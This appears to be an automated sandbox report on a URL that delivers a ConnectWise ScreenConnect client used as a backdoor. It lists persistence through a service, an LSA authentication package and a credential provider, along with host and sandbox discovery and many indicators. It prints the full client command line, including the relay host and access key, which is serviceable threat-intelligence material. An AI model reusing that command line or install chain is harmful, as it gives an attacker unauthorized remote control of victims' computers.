hxxps://darisgroup[.]com[.]au/team1plus/infodash

Analysis

user interaction
yes
max time kernel
120s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 04:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://darisgroup.com.au/team1plus/infodash
Sample260930-eqa9qs1vhw

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
94	5920	msiexec.exe
96	5920	msiexec.exe
100	4636	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
51	3496	msedge.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (bb98d73d4a43fbb4)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (bb98d73d4a43fbb4)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-e992xq-relay.screenconnect.com&p=443&s=953fef5b-43ff-4d64-b3c0-11a2c8b790f7&k=BgIAAACkAABSU0ExAAgAAAEAAQDNK5LZFzms%2b917aGUxUzu0WKFRlT259TQZMldReOC61p2dN%2bwJgwBV6bH10Ps9u0WCqhi54Jr%2bsxVBAbZWdUMQZZQEeNRaUz6vmbBYaVSGQmaBBCObJk2DNvA8gYIZCQfLrFGzPn0vdVEl0ff%2bRr2Na1gz8%2bjpJUH1DOIEwWfy89%2fah%2ffau2gqk4rPryvnskOsQ67VSNKYYNzzF5nFzNWoANyVJFpdAtHqeFUz8%2bTJExu9WMESums3KAudsw7X6KEDYxJEa%2fzpqLi%2bLSX0D5qVB5nI%2b04o5EoQApW07IwfcLiMtaEt5VdJ3TFp%2bab7yKVNEff5dF1gPevrKNfmbzaX&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAeYO%2f%2bTVtu0q36tifnM25mwAAAAACAAAAAAAQZgAAAAEAACAAAABxeEGdMtfqQbAydg%2bHBsrNK8GFnIGeUwqV1M8jfAo6cgAAAAAOgAAAAAIAACAAAABYyW6iYiuMnaqHRss5jTRrEcpeW%2b%2bP2JSDI9MwBt03saAEAABw%2b6z9IS%2fiO0mqOxQC191gmLB0C0VLyAhYysJlVcxcjo%2fTWv%2fdpJHCyBJkbL4900OeI48sMGnSHdNXVrMg0a878nKwFR7RKEslucB6EEwcToyLMIO6tvM%2bqnhE6i7ACIsv9IeMNz5wTVoEr3MEHy%2bpCUmfKNIU5s2Tu%2f78rqhX6NiwrLjp2NDX4%2bsPgJYj4V5k%2fsUJDru37IhmiiDVVGjZe%2fI0tJElSrIyneQqGSRfCNMV5sQZyJRU0ZX5zJs5%2fZ7QORsNE1Jkip1%2bWa%2fLX8WFfvoNgZ8UtAxzj5U%2fvtND%2fL2FPTmVTb6OplI3w7Gt0Sapteyy9srX39OGwVadUnSpXMocoNfGFaNb%2fk16wpsF5R2JAiTyzdgzrChgY8j%2fgCb61%2bwnklaaLVLufthdOHJs6nhZK%2bsCWeGG%2bG4v0joqs0MeJZXUuJXDdWzWbdXUNwN986KIMHjJyrMXLBwhQ6fE4bJgLASJRmYieTCOwo%2fpc5WvXc8Zc4fOmlFyJMy%2bkEnLcEmmpyXgkOO0Z%2fqqZdP17ltKJtkhod11QVaPnFdrFxUa9TakL5Xf8J9ofQrWCtQe3RvrEvbqWYWBZICCwXpjO051CfnYpf1jUyXwfH%2fEW5vhD460A%2f0muSSjSmkWHxo5OvGLXX4iAZIT4WZaYDGeeL3rGWjedOC8fH0pw2CIcxilyGhZs9WuzRabstVohWq73iVFmlNAlpPC7mLdcD3aG8p%2fwEmZXiUKNAs9oAJRX8c9cgv4wfju%2f3VRxE2Ro9FLfKzvYMua8w8dsuMDfGfyqXhriKkJ0NaI8u3ZZel8JIRgxcp3dNU1Z98o9xxnzF4icBBx68rKEuhtLWcpMULSMzCb2oLzdV%2b6urASaJr7xYdg3FVlP%2bPPTzT93m83dtt245%2f0ruIe1%2bt2H9LXM7xYZKGWyxu6AO2x0jWXYL1ZBzEiCIbvjgGcQw%2fDuo64tL1MvesCsKUR8x%2bWEtxZESdjXV021TRiwrQzAbylRZ000ZrxM1Ip3JeNAEixgXgA9nn32RhrmgogXkQU9WiHvPVANlWD60ghk5YBlvpiTDbg1s4RrRZ9J5lpdhTdq5OsJ90Q%2b0Lc99MYTD7xqMkOaVwk4gU5rPkvliH4zSKSnVr7donJpobCkuInqfHpIdudfV7YCzAnSY67XhMc29e6IbUvxEroix2PddWLsNWllpSGk0UWQI%2fzThGCNshoUcuDi70nK1l8L7wSQgsLX56uhK3wv%2bM9OKMIKOuL5rtCcj0sCxzDwoEkbwHhF9Trf%2f6qAwnlWBIYNBO07i8T%2fz8NP7%2bf43ljUIXxs0VfpLsK87jArsfen5YVYpdoC6XpavptTF3aSN%2fkyNDgeGtqpM67QX%2fh8kTKmLCXcP3YAvywA%2fW5TEQKSlv3IfTIDZ16PyTp6yojOlmcwo8f4TB2l6ydtHyWPqoQbZnZPMTpIwKCcabP2wOCVJtrWhsfeQ%2boOeBS3EmnCPxYkzj9hz32Uu%2b6YmEWL9cq1gLcpgnZ6sdL4WBD1gb%2fQoNz0CVXgmraqm%2bz8YkBdBFFuG8VssTIQYKnFiuN5no2qDK09h7x%2fiKalKWnjEAAAADNrbnDwPfpAYQg6Km8oy7MnaeFrsPfqLO2Va9rbRZYSaQ664oe8KzImeAlzkNfkeMKWIlrCu3GD%2feS79o7FvXd&t=PAY4INSTMNT\""	ScreenConnect.ClientService.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation	ScreenConnect.ClientSetup.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 4 IoCs

pid	Process
5708	ScreenConnect.ClientSetup.exe
1540	ScreenConnect.ClientService.exe
2028	ScreenConnect.WindowsClient.exe
4260	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
6076	MsiExec.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6076	MsiExec.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
4636	rundll32.exe
6076	MsiExec.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
3204	rundll32.exe
4820	MsiExec.exe
5400	MsiExec.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 47 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
	\??\F:\	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800620062003900380064003700330064003400610034003300660062006200340029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\ln2b0k3b.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\ln2b0k3b.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\xt13ean5.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\xt13ean5.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\xt13ean5.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\xdd4viel.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\xdd4viel.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\ln2b0k3b.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{2824B54F-017E-C1F5-3211-063DDA49A529}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B38.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4D0F.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{2824B54F-017E-C1F5-3211-063DDA49A529}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e594965.msi	msiexec.exe
File created	C:\Windows\Installer\e594963.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e594963.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4BA6.tmp	msiexec.exe
File created	C:\Windows\Installer\{2824B54F-017E-C1F5-3211-063DDA49A529}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{2824B54F-017E-C1F5-3211-063DDA49A529}\DefaultIcon	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3496	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000c311d2c4ba4812b50000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000c311d2c40000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900c311d2c4000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ac311d2c4000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dc311d2c4000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 39 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F45B4282E7105F1C231160D3AD945A92\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.6.6.9747\\bb98d73d4a43fbb4\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.6.6.9747\\bb98d73d4a43fbb4\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-895009113-1202185046-1686627690-1000\{93F110AF-42CC-4191-92E9-63A7F2EB610F}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-bb98d73d4a43fbb4	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D793D64AE0364A92BB897DD3A434BF4B	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F45B4282E7105F1C231160D3AD945A92	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-bb98d73d4a43fbb4\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (bb98d73d4a43fbb4)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-147C-9255DAA92249}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\ProductName = "ScreenConnect Client (bb98d73d4a43fbb4)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\PackageCode = "F45B4282E7105F1C231160D3AD945A92"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-147C-9255DAA92249}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D793D64AE0364A92BB897DD3A434BF4B\F45B4282E7105F1C231160D3AD945A92	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bb98d73d4a43fbb4\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-147C-9255DAA92249}\ = "ScreenConnect Client (bb98d73d4a43fbb4) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-147C-9255DAA92249}\InprocServer32	msiexec.exe
